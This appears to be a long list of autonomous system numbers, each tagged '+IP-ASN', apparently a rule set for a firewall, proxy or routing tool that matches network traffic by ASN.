205618 +IP-ASN, 10206 +IP-ASN, 205603 +IP-ASN, 136591 +IP-ASN, 63603 +IP-ASN, 137897 +IP-ASN, 58251 +IP-ASN, 63607 +IP-ASN, 144193 +IP-ASN, 144194 +IP-ASN, 144195 +IP-ASN, 144196 +IP-ASN, 144190 +IP-ASN, 144191 +IP-ASN, 144192 +IP-ASN, 144197 +IP-ASN, 144198 +IP-ASN, 144199 +IP-ASN, 144182 +IP-ASN, 144183 +IP-ASN, 144184 +IP-ASN, 144185 +IP-ASN, 144180 +IP-ASN, 144181 +IP-ASN, 144186 +IP-ASN, 203888 +IP-ASN, 144187 +IP-ASN, 144188 +IP-ASN, 144189 +IP-ASN, 206919 +IP-ASN, 134765 +IP-ASN, 134766 +IP-ASN, 134763 +IP-ASN, 134764 +IP-ASN, 134761 +IP-ASN, 134762 +IP-ASN, 134760 +IP-ASN, 134769 +IP-ASN, 44421 +IP-ASN, 134768 +IP-ASN, 145422 +IP-ASN, 145423 +IP-ASN, 145424 +IP-ASN, 145425 +IP-ASN, 145420 +IP-ASN, 145421 +IP-ASN, 146758 +IP-ASN, 145426 +IP-ASN, 145427 +IP-ASN, 145428 +IP-ASN, 145429 +IP-ASN, 137801 +IP-ASN, 134774 +IP-ASN, 134775 +IP-ASN, 134772 +IP-ASN, 134773 +IP-ASN, 216373 +IP-ASN, 134770 +IP-ASN, 134771 +IP-ASN, 137806 +IP-ASN, 137804 +IP-ASN, 146743 +IP-ASN, 145411 +IP-ASN, 146742 +IP-ASN, 145412 +IP-ASN, 146745 +IP-ASN, 145413 +IP-ASN, 146744 +IP-ASN, 145414 +IP-ASN, 146741 +IP-ASN, 146740 +IP-ASN, 145410 +IP-ASN, 145419 +IP-ASN, 145415 +IP-ASN, 146746 +IP-ASN, 145416 +IP-ASN, 145417 +IP-ASN, 145418 +IP-ASN, 44446 +IP-ASN, 146732 +IP-ASN, 145400 +IP-ASN, 146731 +IP-ASN, 145401 +IP-ASN, 146734 +IP-ASN, 145402 +IP-ASN, 146733 +IP-ASN, 145403 +IP-ASN, 146730 +IP-ASN, 145408 +IP-ASN, 146739 +IP-ASN, 145409 +IP-ASN, 146736 +IP-ASN, 145404 +IP-ASN, 146735 +IP-ASN, 145405 +IP-ASN, 146738 +IP-ASN, 145406 +IP-ASN, 146737 +IP-ASN, 145407 +IP-ASN, 207401 +IP-ASN, 143690 +IP-ASN, 134756 +IP-ASN, 146721 +IP-ASN, 143694 +IP-ASN, 146720 +IP-ASN, 143693 +IP-ASN, 146723 +IP-ASN, 143692 +IP-ASN, 146722 +IP-ASN, 143691 +IP-ASN, 143698 +IP-ASN, 143697 +IP-ASN, 143696 +IP-ASN, 143695 +IP-ASN, 146729 +IP-ASN, 146728 +IP-ASN, 143699 +IP-ASN, 146725 +IP-ASN, 146724 +IP-ASN, 146727 +IP-ASN, 146726 +IP-ASN, 137835 +IP-ASN, 132147 +IP-ASN, 216342 +IP-ASN, 133475 +IP-ASN, 146792 +IP-ASN, 145460 +IP-ASN, 145461 +IP-ASN, 144130 +IP-ASN, 145466 +IP-ASN, 144135 +IP-ASN, 145467 +IP-ASN, 144136 +IP-ASN, 145468 +IP-ASN, 144137 +IP-ASN, 145469 +IP-ASN, 144138 +IP-ASN, 145462 +IP-ASN, 144131 +IP-ASN, 145463 +IP-ASN, 144132 +IP-ASN, 145464 +IP-ASN, 144133 +IP-ASN, 145465 +IP-ASN, 144134 +IP-ASN, 144139 +IP-ASN, 132153 +IP-ASN, 145450 +IP-ASN, 145455 +IP-ASN, 144124 +IP-ASN, 145456 +IP-ASN, 144125 +IP-ASN, 145457 +IP-ASN, 144126 +IP-ASN, 146788 +IP-ASN, 145458 +IP-ASN, 144127 +IP-ASN, 145451 +IP-ASN, 144120 +IP-ASN, 146782 +IP-ASN, 145452 +IP-ASN, 144121 +IP-ASN, 145453 +IP-ASN, 144122 +IP-ASN, 145454 +IP-ASN, 144123 +IP-ASN, 215007 +IP-ASN, 145459 +IP-ASN, 144128 +IP-ASN, 144129 +IP-ASN, 145444 +IP-ASN, 144113 +IP-ASN, 145445 +IP-ASN, 144114 +IP-ASN, 145446 +IP-ASN, 144115 +IP-ASN, 145447 +IP-ASN, 144116 +IP-ASN, 146772 +IP-ASN, 145440 +IP-ASN, 146771 +IP-ASN, 145441 +IP-ASN, 144110 +IP-ASN, 145442 +IP-ASN, 144111 +IP-ASN, 145443 +IP-ASN, 144112 +IP-ASN, 145448 +IP-ASN, 144117 +IP-ASN, 145449 +IP-ASN, 144118 +IP-ASN, 144119 +IP-ASN, 133465 +IP-ASN, 145433 +IP-ASN, 144102 +IP-ASN, 145434 +IP-ASN, 144103 +IP-ASN, 145435 +IP-ASN, 144104 +IP-ASN, 145436 +IP-ASN, 144105 +IP-ASN, 145430 +IP-ASN, 145431 +IP-ASN, 144100 +IP-ASN, 145432 +IP-ASN, 144101 +IP-ASN, 145437 +IP-ASN, 144106 +IP-ASN, 145438 +IP-ASN, 144107 +IP-ASN, 145439 +IP-ASN, 144108 +IP-ASN, 144109 +IP-ASN, 63582 +IP-ASN, 63583 +IP-ASN, 143760 +IP-ASN, 55958 +IP-ASN, 55956 +IP-ASN, 143764 +IP-ASN, 63590 +IP-ASN, 143763 +IP-ASN, 143762 +IP-ASN, 143761 +IP-ASN, 143768 +IP-ASN, 143767 +IP-ASN, 143766 +IP-ASN, 143765 +IP-ASN, 143769 +IP-ASN, 142438 +IP-ASN, 134810 +IP-ASN, 63571 +IP-ASN, 55967 +IP-ASN, 143753 +IP-ASN, 143752 +IP-ASN, 63580 +IP-ASN, 143751 +IP-ASN, 63581 +IP-ASN, 143750 +IP-ASN, 55962 +IP-ASN, 143757 +IP-ASN, 143756 +IP-ASN, 55960 +IP-ASN, 143755 +IP-ASN, 143754 +IP-ASN, 55966 +IP-ASN, 143759 +IP-ASN, 199310 +IP-ASN, 143758 +IP-ASN, 152697 +IP-ASN, 143742 +IP-ASN, 143741 +IP-ASN, 143740 +IP-ASN, 55973 +IP-ASN, 143746 +IP-ASN, 143745 +IP-ASN, 138387 +IP-ASN, 55971 +IP-ASN, 143744 +IP-ASN, 143743 +IP-ASN, 143749 +IP-ASN, 142418 +IP-ASN, 143748 +IP-ASN, 143747 +IP-ASN, 138381 +IP-ASN, 143729 +IP-ASN, 55991 +IP-ASN, 55990 +IP-ASN, 63593 +IP-ASN, 55989 +IP-ASN, 143731 +IP-ASN, 143730 +IP-ASN, 142404 +IP-ASN, 143735 +IP-ASN, 143734 +IP-ASN, 55982 +IP-ASN, 143733 +IP-ASN, 143732 +IP-ASN, 143739 +IP-ASN, 143738 +IP-ASN, 138393 +IP-ASN, 143737 +IP-ASN, 143736 +IP-ASN, 133512 +IP-ASN, 208680 +IP-ASN, 133518 +IP-ASN, 133517 +IP-ASN, 133513 +IP-ASN, 133515 +IP-ASN, 145500 +IP-ASN, 145501 +IP-ASN, 145502 +IP-ASN, 145507 +IP-ASN, 55994 +IP-ASN, 146838 +IP-ASN, 145508 +IP-ASN, 145509 +IP-ASN, 55992 +IP-ASN, 145503 +IP-ASN, 146834 +IP-ASN, 145504 +IP-ASN, 145505 +IP-ASN, 55996 +IP-ASN, 145506 +IP-ASN, 17638 +IP-ASN, 216299 +IP-ASN, 200728 +IP-ASN, 143793 +IP-ASN, 143792 +IP-ASN, 146822 +IP-ASN, 208679 +IP-ASN, 143791 +IP-ASN, 143790 +IP-ASN, 143797 +IP-ASN, 143796 +IP-ASN, 143795 +IP-ASN, 143794 +IP-ASN, 143799 +IP-ASN, 143798 +IP-ASN, 146809 +IP-ASN, 143782 +IP-ASN, 143781 +IP-ASN, 143780 +IP-ASN, 146810 +IP-ASN, 207338 +IP-ASN, 199304 +IP-ASN, 143786 +IP-ASN, 143785 +IP-ASN, 143784 +IP-ASN, 64021 +IP-ASN, 199307 +IP-ASN, 143783 +IP-ASN, 146817 +IP-ASN, 146816 +IP-ASN, 143789 +IP-ASN, 143788 +IP-ASN, 143787 +IP-ASN, 146812 +IP-ASN, 17633 +IP-ASN, 146814 +IP-ASN, 9516 +IP-ASN, 151397 +IP-ASN, 143771 +IP-ASN, 143770 +IP-ASN, 143775 +IP-ASN, 143774 +IP-ASN, 143773 +IP-ASN, 143772 +IP-ASN, 143779 +IP-ASN, 143778 +IP-ASN, 143777 +IP-ASN, 143776 +IP-ASN, 17623 +IP-ASN, 17622 +IP-ASN, 17621 +IP-ASN, 140649 +IP-ASN, 152631 +IP-ASN, 140650 +IP-ASN, 140651 +IP-ASN, 140654 +IP-ASN, 140655 +IP-ASN, 140652 +IP-ASN, 140653 +IP-ASN, 140656 +IP-ASN, 140657 +IP-ASN, 140638 +IP-ASN, 215848 +IP-ASN, 38564 +IP-ASN, 140647 +IP-ASN, 140648 +IP-ASN, 140633 +IP-ASN, 140636 +IP-ASN, 215832 +IP-ASN, 215829 +IP-ASN, 18118 +IP-ASN, 212793 +IP-ASN, 38587 +IP-ASN, 63548 +IP-ASN, 143719 +IP-ASN, 143718 +IP-ASN, 138369 +IP-ASN, 63540 +IP-ASN, 143720 +IP-ASN, 143724 +IP-ASN, 143723 +IP-ASN, 143722 +IP-ASN, 143721 +IP-ASN, 143728 +IP-ASN, 143727 +IP-ASN, 143726 +IP-ASN, 143725 +IP-ASN, 143709 +IP-ASN, 143708 +IP-ASN, 63538 +IP-ASN, 143707 +IP-ASN, 63539 +IP-ASN, 151331 +IP-ASN, 138378 +IP-ASN, 63531 +IP-ASN, 143713 +IP-ASN, 138377 +IP-ASN, 143712 +IP-ASN, 138376 +IP-ASN, 143711 +IP-ASN, 138375 +IP-ASN, 143710 +IP-ASN, 138374 +IP-ASN, 143717 +IP-ASN, 143716 +IP-ASN, 138371 +IP-ASN, 143715 +IP-ASN, 143714 +IP-ASN, 7721 +IP-ASN, 63561 +IP-ASN, 63565 +IP-ASN, 63570 +IP-ASN, 143702 +IP-ASN, 143701 +IP-ASN, 143700 +IP-ASN, 143706 +IP-ASN, 143705 +IP-ASN, 143704 +IP-ASN, 143703 +IP-ASN, 200789 +IP-ASN, 151311 +IP-ASN, 151313 +IP-ASN, 63555 +IP-ASN, 200782 +IP-ASN, 203804 +IP-ASN, 138351 +IP-ASN, 141998 +IP-ASN, 137758 +IP-ASN, 137753 +IP-ASN, 137751 +IP-ASN, 145381 +IP-ASN, 144050 +IP-ASN, 145382 +IP-ASN, 144051 +IP-ASN, 145383 +IP-ASN, 144052 +IP-ASN, 145384 +IP-ASN, 144053 +IP-ASN, 205532 +IP-ASN, 137759 +IP-ASN, 145380 +IP-ASN, 145389 +IP-ASN, 144058 +IP-ASN, 144059 +IP-ASN, 145385 +IP-ASN, 144054 +IP-ASN, 145386 +IP-ASN, 144055 +IP-ASN, 145387 +IP-ASN, 144056 +IP-ASN, 145388 +IP-ASN, 144057 +IP-ASN, 137767 +IP-ASN, 137764 +IP-ASN, 145370 +IP-ASN, 145371 +IP-ASN, 144040 +IP-ASN, 145372 +IP-ASN, 144041 +IP-ASN, 145373 +IP-ASN, 144042 +IP-ASN, 145378 +IP-ASN, 144047 +IP-ASN, 145379 +IP-ASN, 144048 +IP-ASN, 144049 +IP-ASN, 145374 +IP-ASN, 144043 +IP-ASN, 145375 +IP-ASN, 144044 +IP-ASN, 145376 +IP-ASN, 144045 +IP-ASN, 145377 +IP-ASN, 144046 +IP-ASN, 10111 +IP-ASN, 137735 +IP-ASN, 146691 +IP-ASN, 146690 +IP-ASN, 145360 +IP-ASN, 146693 +IP-ASN, 145361 +IP-ASN, 144030 +IP-ASN, 146692 +IP-ASN, 145362 +IP-ASN, 144031 +IP-ASN, 206843 +IP-ASN, 146699 +IP-ASN, 145367 +IP-ASN, 144036 +IP-ASN, 146698 +IP-ASN, 145368 +IP-ASN, 144037 +IP-ASN, 145369 +IP-ASN, 144038 +IP-ASN, 144039 +IP-ASN, 146695 +IP-ASN, 145363 +IP-ASN, 144032 +IP-ASN, 146694 +IP-ASN, 145364 +IP-ASN, 144033 +IP-ASN, 146697 +IP-ASN, 145365 +IP-ASN, 144034 +IP-ASN, 146696 +IP-ASN, 145366 +IP-ASN, 144035 +IP-ASN, 137747 +IP-ASN, 137746 +IP-ASN, 137745 +IP-ASN, 146680 +IP-ASN, 146682 +IP-ASN, 145350 +IP-ASN, 146681 +IP-ASN, 145351 +IP-ASN, 144020 +IP-ASN, 137749 +IP-ASN, 146688 +IP-ASN, 145356 +IP-ASN, 144025 +IP-ASN, 146687 +IP-ASN, 145357 +IP-ASN, 144026 +IP-ASN, 145358 +IP-ASN, 144027 +IP-ASN, 146689 +IP-ASN, 145359 +IP-ASN, 144028 +IP-ASN, 146684 +IP-ASN, 145352 +IP-ASN, 144021 +IP-ASN, 146683 +IP-ASN, 145353 +IP-ASN, 144022 +IP-ASN, 146686 +IP-ASN, 145354 +IP-ASN, 144023 +IP-ASN, 146685 +IP-ASN, 145355 +IP-ASN, 144024 +IP-ASN, 144029 +IP-ASN, 215786 +IP-ASN, 137799 +IP-ASN, 137798 +IP-ASN, 144094 +IP-ASN, 144095 +IP-ASN, 144096 +IP-ASN, 150775 +IP-ASN, 144097 +IP-ASN, 144090 +IP-ASN, 4835 +IP-ASN, 144091 +IP-ASN, 144092 +IP-ASN, 4837 +IP-ASN, 144093 +IP-ASN, 144098 +IP-ASN, 144099 +IP-ASN, 137794 +IP-ASN, 209083 +IP-ASN, 4842 +IP-ASN, 144083 +IP-ASN, 144084 +IP-ASN, 144085 +IP-ASN, 144086 +IP-ASN, 4847 +IP-ASN, 144080 +IP-ASN, 144081 +IP-ASN, 144082 +IP-ASN, 144087 +IP-ASN, 144088 +IP-ASN, 144089 +IP-ASN, 137778 +IP-ASN, 144072 +IP-ASN, 144073 +IP-ASN, 144074 +IP-ASN, 144075 +IP-ASN, 144070 +IP-ASN, 4859 +IP-ASN, 144071 +IP-ASN, 144076 +IP-ASN, 144077 +IP-ASN, 144078 +IP-ASN, 144079 +IP-ASN, 137788 +IP-ASN, 137787 +IP-ASN, 137785 +IP-ASN, 137784 +IP-ASN, 145392 +IP-ASN, 144061 +IP-ASN, 145393 +IP-ASN, 144062 +IP-ASN, 145394 +IP-ASN, 144063 +IP-ASN, 145395 +IP-ASN, 144064 +IP-ASN, 145390 +IP-ASN, 145391 +IP-ASN, 144060 +IP-ASN, 144069 +IP-ASN, 145396 +IP-ASN, 144065 +IP-ASN, 145397 +IP-ASN, 144066 +IP-ASN, 145398 +IP-ASN, 144067 +IP-ASN, 145399 +IP-ASN, 144068 +IP-ASN, 135120 +IP-ASN, 137782 +IP-ASN, 146633 +IP-ASN, 145301 +IP-ASN, 146632 +IP-ASN, 145302 +IP-ASN, 146635 +IP-ASN, 145303 +IP-ASN, 146634 +IP-ASN, 145304 +IP-ASN, 146631 +IP-ASN, 146630 +IP-ASN, 145300 +IP-ASN, 145309 +IP-ASN, 146637 +IP-ASN, 145305 +IP-ASN, 146636 +IP-ASN, 145306 +IP-ASN, 146639 +IP-ASN, 145307 +IP-ASN, 146638 +IP-ASN, 145308 +IP-ASN, 4809 +IP-ASN, 4808 +IP-ASN, 143591 +IP-ASN, 143590 +IP-ASN, 146622 +IP-ASN, 143595 +IP-ASN, 146621 +IP-ASN, 143594 +IP-ASN, 146624 +IP-ASN, 143593 +IP-ASN, 146623 +IP-ASN, 143592 +IP-ASN, 143599 +IP-ASN, 143598 +IP-ASN, 146620 +IP-ASN, 143597 +IP-ASN, 143596 +IP-ASN, 146629 +IP-ASN, 146626 +IP-ASN, 146625 +IP-ASN, 146628 +IP-ASN, 146627 +IP-ASN, 4812 +IP-ASN, 4811 +IP-ASN, 216243 +IP-ASN, 143580 +IP-ASN, 4813 +IP-ASN, 4816 +IP-ASN, 146611 +IP-ASN, 143584 +IP-ASN, 146610 +IP-ASN, 143583 +IP-ASN, 146613 +IP-ASN, 143582 +IP-ASN, 146612 +IP-ASN, 143581 +IP-ASN, 143588 +IP-ASN, 143587 +IP-ASN, 143586 +IP-ASN, 143585 +IP-ASN, 146619 +IP-ASN, 146618 +IP-ASN, 143589 +IP-ASN, 146615 +IP-ASN, 146614 +IP-ASN, 146617 +IP-ASN, 146616 +IP-ASN, 151193 +IP-ASN, 151194 +IP-ASN, 146600 +IP-ASN, 143573 +IP-ASN, 143572 +IP-ASN, 146602 +IP-ASN, 143571 +IP-ASN, 146601 +IP-ASN, 143570 +IP-ASN, 143577 +IP-ASN, 143576 +IP-ASN, 210934 +IP-ASN, 143575 +IP-ASN, 208618 +IP-ASN, 143574 +IP-ASN, 146608 +IP-ASN, 146607 +IP-ASN, 143579 +IP-ASN, 146609 +IP-ASN, 143578 +IP-ASN, 146604 +IP-ASN, 146603 +IP-ASN, 146606 +IP-ASN, 146605 +IP-ASN, 137710 +IP-ASN, 146671 +IP-ASN, 137719 +IP-ASN, 146670 +IP-ASN, 145340 +IP-ASN, 137718 +IP-ASN, 137715 +IP-ASN, 146677 +IP-ASN, 145345 +IP-ASN, 144014 +IP-ASN, 146676 +IP-ASN, 145346 +IP-ASN, 144015 +IP-ASN, 146679 +IP-ASN, 145347 +IP-ASN, 144016 +IP-ASN, 146678 +IP-ASN, 145348 +IP-ASN, 144017 +IP-ASN, 146673 +IP-ASN, 145341 +IP-ASN, 144010 +IP-ASN, 146672 +IP-ASN, 145342 +IP-ASN, 144011 +IP-ASN, 146675 +IP-ASN, 145343 +IP-ASN, 144012 +IP-ASN, 146674 +IP-ASN, 145344 +IP-ASN, 144013 +IP-ASN, 145349 +IP-ASN, 144018 +IP-ASN, 144019 +IP-ASN, 137721 +IP-ASN, 146660 +IP-ASN, 137726 +IP-ASN, 146666 +IP-ASN, 145334 +IP-ASN, 144003 +IP-ASN, 146665 +IP-ASN, 145335 +IP-ASN, 144004 +IP-ASN, 146668 +IP-ASN, 145336 +IP-ASN, 144005 +IP-ASN, 146667 +IP-ASN, 145337 +IP-ASN, 144006 +IP-ASN, 146662 +IP-ASN, 145330 +IP-ASN, 146661 +IP-ASN, 145331 +IP-ASN, 144000 +IP-ASN, 146664 +IP-ASN, 145332 +IP-ASN, 144001 +IP-ASN, 146663 +IP-ASN, 145333 +IP-ASN, 144002 +IP-ASN, 145338 +IP-ASN, 144007 +IP-ASN, 146669 +IP-ASN, 145339 +IP-ASN, 144008 +IP-ASN, 144009 +IP-ASN, 58998 +IP-ASN, 210903 +IP-ASN, 146655 +IP-ASN, 145323 +IP-ASN, 146654 +IP-ASN, 145324 +IP-ASN, 146657 +IP-ASN, 145325 +IP-ASN, 146656 +IP-ASN, 145326 +IP-ASN, 146651 +IP-ASN, 146650 +IP-ASN, 145320 +IP-ASN, 146653 +IP-ASN, 145321 +IP-ASN, 146652 +IP-ASN, 145322 +IP-ASN, 146659 +IP-ASN, 145327 +IP-ASN, 146658 +IP-ASN, 145328 +IP-ASN, 145329 +IP-ASN, 137702 +IP-ASN, 142280 +IP-ASN, 132019 +IP-ASN, 146644 +IP-ASN, 145312 +IP-ASN, 146643 +IP-ASN, 145313 +IP-ASN, 146646 +IP-ASN, 145314 +IP-ASN, 142284 +IP-ASN, 146645 +IP-ASN, 145315 +IP-ASN, 146640 +IP-ASN, 146642 +IP-ASN, 145310 +IP-ASN, 146641 +IP-ASN, 145311 +IP-ASN, 146648 +IP-ASN, 145316 +IP-ASN, 146647 +IP-ASN, 145317 +IP-ASN, 145318 +IP-ASN, 146649 +IP-ASN, 145319 +IP-ASN, 152598 +IP-ASN, 144971 +IP-ASN, 144972 +IP-ASN, 144973 +IP-ASN, 144974 +IP-ASN, 143643 +IP-ASN, 143642 +IP-ASN, 143641 +IP-ASN, 144970 +IP-ASN, 143640 +IP-ASN, 144979 +IP-ASN, 143647 +IP-ASN, 143646 +IP-ASN, 143645 +IP-ASN, 212623 +IP-ASN, 143644 +IP-ASN, 144975 +IP-ASN, 144976 +IP-ASN, 144977 +IP-ASN, 143649 +IP-ASN, 144978 +IP-ASN, 143648 +IP-ASN, 144960 +IP-ASN, 144961 +IP-ASN, 144962 +IP-ASN, 144963 +IP-ASN, 143632 +IP-ASN, 143631 +IP-ASN, 143630 +IP-ASN, 144968 +IP-ASN, 143636 +IP-ASN, 144969 +IP-ASN, 143635 +IP-ASN, 143634 +IP-ASN, 143633 +IP-ASN, 144964 +IP-ASN, 144965 +IP-ASN, 143639 +IP-ASN, 144966 +IP-ASN, 143638 +IP-ASN, 144967 +IP-ASN, 143637 +IP-ASN, 143619 +IP-ASN, 144950 +IP-ASN, 144951 +IP-ASN, 144952 +IP-ASN, 143621 +IP-ASN, 143620 +IP-ASN, 144957 +IP-ASN, 143625 +IP-ASN, 144958 +IP-ASN, 143624 +IP-ASN, 144959 +IP-ASN, 143623 +IP-ASN, 143622 +IP-ASN, 144953 +IP-ASN, 143629 +IP-ASN, 144954 +IP-ASN, 143628 +IP-ASN, 144955 +IP-ASN, 143627 +IP-ASN, 144956 +IP-ASN, 143626 +IP-ASN, 143609 +IP-ASN, 143608 +IP-ASN, 144939 +IP-ASN, 144940 +IP-ASN, 144941 +IP-ASN, 143610 +IP-ASN, 49195 +IP-ASN, 144946 +IP-ASN, 143614 +IP-ASN, 144947 +IP-ASN, 143613 +IP-ASN, 144948 +IP-ASN, 143612 +IP-ASN, 144949 +IP-ASN, 143611 +IP-ASN, 144942 +IP-ASN, 143618 +IP-ASN, 144943 +IP-ASN, 143617 +IP-ASN, 144944 +IP-ASN, 143616 +IP-ASN, 144945 +IP-ASN, 143615 +IP-ASN, 146710 +IP-ASN, 143683 +IP-ASN, 143682 +IP-ASN, 146712 +IP-ASN, 143681 +IP-ASN, 146711 +IP-ASN, 143680 +IP-ASN, 143687 +IP-ASN, 141025 +IP-ASN, 143686 +IP-ASN, 143685 +IP-ASN, 143684 +IP-ASN, 146718 +IP-ASN, 146717 +IP-ASN, 143689 +IP-ASN, 146719 +IP-ASN, 143688 +IP-ASN, 146714 +IP-ASN, 146713 +IP-ASN, 146716 +IP-ASN, 146715 +IP-ASN, 151296 +IP-ASN, 216173 +IP-ASN, 143672 +IP-ASN, 143671 +IP-ASN, 146701 +IP-ASN, 143670 +IP-ASN, 146700 +IP-ASN, 143676 +IP-ASN, 143675 +IP-ASN, 143674 +IP-ASN, 143673 +IP-ASN, 146707 +IP-ASN, 146706 +IP-ASN, 143679 +IP-ASN, 146709 +IP-ASN, 143678 +IP-ASN, 146708 +IP-ASN, 143677 +IP-ASN, 146703 +IP-ASN, 146702 +IP-ASN, 146705 +IP-ASN, 146704 +IP-ASN, 134708 +IP-ASN, 204185 +IP-ASN, 144993 +IP-ASN, 143661 +IP-ASN, 144994 +IP-ASN, 143660 +IP-ASN, 144995 +IP-ASN, 144996 +IP-ASN, 143665 +IP-ASN, 144990 +IP-ASN, 143664 +IP-ASN, 144991 +IP-ASN, 143663 +IP-ASN, 144992 +IP-ASN, 143662 +IP-ASN, 143669 +IP-ASN, 143668 +IP-ASN, 143667 +IP-ASN, 143666 +IP-ASN, 144997 +IP-ASN, 144998 +IP-ASN, 144999 +IP-ASN, 209864 +IP-ASN, 144982 +IP-ASN, 143650 +IP-ASN, 144983 +IP-ASN, 144984 +IP-ASN, 144985 +IP-ASN, 143654 +IP-ASN, 143653 +IP-ASN, 144980 +IP-ASN, 143652 +IP-ASN, 144981 +IP-ASN, 143651 +IP-ASN, 143658 +IP-ASN, 143657 +IP-ASN, 143656 +IP-ASN, 143655 +IP-ASN, 144986 +IP-ASN, 144987 +IP-ASN, 144988 +IP-ASN, 144989 +IP-ASN, 143659 +IP-ASN, 210041 +IP-ASN, 140528 +IP-ASN, 140529 +IP-ASN, 140530 +IP-ASN, 140533 +IP-ASN, 140534 +IP-ASN, 140531 +IP-ASN, 140532 +IP-ASN, 140537 +IP-ASN, 140538 +IP-ASN, 140535 +IP-ASN, 140536 +IP-ASN, 140519 +IP-ASN, 212690 +IP-ASN, 140517 +IP-ASN, 140518 +IP-ASN, 140522 +IP-ASN, 140520 +IP-ASN, 140521 +IP-ASN, 140527 +IP-ASN, 140508 +IP-ASN, 140509 +IP-ASN, 140511 +IP-ASN, 140512 +IP-ASN, 140510 +IP-ASN, 140515 +IP-ASN, 140516 +IP-ASN, 140513 +IP-ASN, 140514 +IP-ASN, 149795 +IP-ASN, 197433 +IP-ASN, 144928 +IP-ASN, 144929 +IP-ASN, 144930 +IP-ASN, 144935 +IP-ASN, 143603 +IP-ASN, 144936 +IP-ASN, 143602 +IP-ASN, 144937 +IP-ASN, 143601 +IP-ASN, 144938 +IP-ASN, 143600 +IP-ASN, 144931 +IP-ASN, 143607 +IP-ASN, 144932 +IP-ASN, 143606 +IP-ASN, 144933 +IP-ASN, 143605 +IP-ASN, 144934 +IP-ASN, 143604 +IP-ASN, 144917 +IP-ASN, 144918 +IP-ASN, 144919 +IP-ASN, 139589 +IP-ASN, 139587 +IP-ASN, 144924 +IP-ASN, 144925 +IP-ASN, 144926 +IP-ASN, 144927 +IP-ASN, 144920 +IP-ASN, 144921 +IP-ASN, 144922 +IP-ASN, 144923 +IP-ASN, 144906 +IP-ASN, 144907 +IP-ASN, 144908 +IP-ASN, 144909 +IP-ASN, 151202 +IP-ASN, 144913 +IP-ASN, 144914 +IP-ASN, 140553 +IP-ASN, 144915 +IP-ASN, 144916 +IP-ASN, 144910 +IP-ASN, 144911 +IP-ASN, 144912 +IP-ASN, 55826 +IP-ASN, 144902 +IP-ASN, 144903 +IP-ASN, 144904 +IP-ASN, 144905 +IP-ASN, 144900 +IP-ASN, 144901 +IP-ASN, 37970 +IP-ASN, 146592 +IP-ASN, 145260 +IP-ASN, 146591 +IP-ASN, 145261 +IP-ASN, 146594 +IP-ASN, 145262 +IP-ASN, 146593 +IP-ASN, 145263 +IP-ASN, 146590 +IP-ASN, 145268 +IP-ASN, 146599 +IP-ASN, 145269 +IP-ASN, 146596 +IP-ASN, 145264 +IP-ASN, 146595 +IP-ASN, 145265 +IP-ASN, 146598 +IP-ASN, 145266 +IP-ASN, 146597 +IP-ASN, 145267 +IP-ASN, 37965 +IP-ASN, 37963 +IP-ASN, 146581 +IP-ASN, 146580 +IP-ASN, 145250 +IP-ASN, 146583 +IP-ASN, 145251 +IP-ASN, 146582 +IP-ASN, 145252 +IP-ASN, 138979 +IP-ASN, 146589 +IP-ASN, 145257 +IP-ASN, 146588 +IP-ASN, 145258 +IP-ASN, 145259 +IP-ASN, 146585 +IP-ASN, 145253 +IP-ASN, 146584 +IP-ASN, 145254 +IP-ASN, 146587 +IP-ASN, 145255 +IP-ASN, 146586 +IP-ASN, 145256 +IP-ASN, 138949 +IP-ASN, 146570 +IP-ASN, 146572 +IP-ASN, 145240 +IP-ASN, 203691 +IP-ASN, 146571 +IP-ASN, 145241 +IP-ASN, 146578 +IP-ASN, 145246 +IP-ASN, 146577 +IP-ASN, 145247 +IP-ASN, 145248 +IP-ASN, 146579 +IP-ASN, 145249 +IP-ASN, 146574 +IP-ASN, 145242 +IP-ASN, 146573 +IP-ASN, 145243 +IP-ASN, 146576 +IP-ASN, 145244 +IP-ASN, 146575 +IP-ASN, 145245 +IP-ASN, 206729 +IP-ASN, 37942 +IP-ASN, 56282 +IP-ASN, 138950 +IP-ASN, 146561 +IP-ASN, 146560 +IP-ASN, 145230 +IP-ASN, 146567 +IP-ASN, 145235 +IP-ASN, 146566 +IP-ASN, 145236 +IP-ASN, 146569 +IP-ASN, 145237 +IP-ASN, 146568 +IP-ASN, 145238 +IP-ASN, 146563 +IP-ASN, 145231 +IP-ASN, 146562 +IP-ASN, 145232 +IP-ASN, 146565 +IP-ASN, 145233 +IP-ASN, 146564 +IP-ASN, 145234 +IP-ASN, 37937 +IP-ASN, 37936 +IP-ASN, 145239 +IP-ASN, 147008 +IP-ASN, 137689 +IP-ASN, 137688 +IP-ASN, 137687 +IP-ASN, 137686 +IP-ASN, 145293 +IP-ASN, 145294 +IP-ASN, 145295 +IP-ASN, 145296 +IP-ASN, 145290 +IP-ASN, 145291 +IP-ASN, 145292 +IP-ASN, 145297 +IP-ASN, 145298 +IP-ASN, 145299 +IP-ASN, 145282 +IP-ASN, 145283 +IP-ASN, 145284 +IP-ASN, 145285 +IP-ASN, 145280 +IP-ASN, 145281 +IP-ASN, 149648 +IP-ASN, 203655 +IP-ASN, 145286 +IP-ASN, 145287 +IP-ASN, 145288 +IP-ASN, 138982 +IP-ASN, 145289 +IP-ASN, 135006 +IP-ASN, 145271 +IP-ASN, 145272 +IP-ASN, 145273 +IP-ASN, 151951 +IP-ASN, 145274 +IP-ASN, 145270 +IP-ASN, 145279 +IP-ASN, 145275 +IP-ASN, 138990 +IP-ASN, 138991 +IP-ASN, 145276 +IP-ASN, 145277 +IP-ASN, 145278 +IP-ASN, 39753 +IP-ASN, 131497 +IP-ASN, 131495 +IP-ASN, 143481 +IP-ASN, 143480 +IP-ASN, 146512 +IP-ASN, 143485 +IP-ASN, 146511 +IP-ASN, 143484 +IP-ASN, 146514 +IP-ASN, 143483 +IP-ASN, 146513 +IP-ASN, 143482 +IP-ASN, 143489 +IP-ASN, 58828 +IP-ASN, 143488 +IP-ASN, 146510 +IP-ASN, 143487 +IP-ASN, 143486 +IP-ASN, 146519 +IP-ASN, 146516 +IP-ASN, 146515 +IP-ASN, 146518 +IP-ASN, 146517 +IP-ASN, 143470 +IP-ASN, 146501 +IP-ASN, 143474 +IP-ASN, 146500 +IP-ASN, 143473 +IP-ASN, 146503 +IP-ASN, 143472 +IP-ASN, 146502 +IP-ASN, 143471 +IP-ASN, 143478 +IP-ASN, 143477 +IP-ASN, 143476 +IP-ASN, 143475 +IP-ASN, 58834 +IP-ASN, 146509 +IP-ASN, 146508 +IP-ASN, 143479 +IP-ASN, 146505 +IP-ASN, 146504 +IP-ASN, 146507 +IP-ASN, 146506 +IP-ASN, 58850 +IP-ASN, 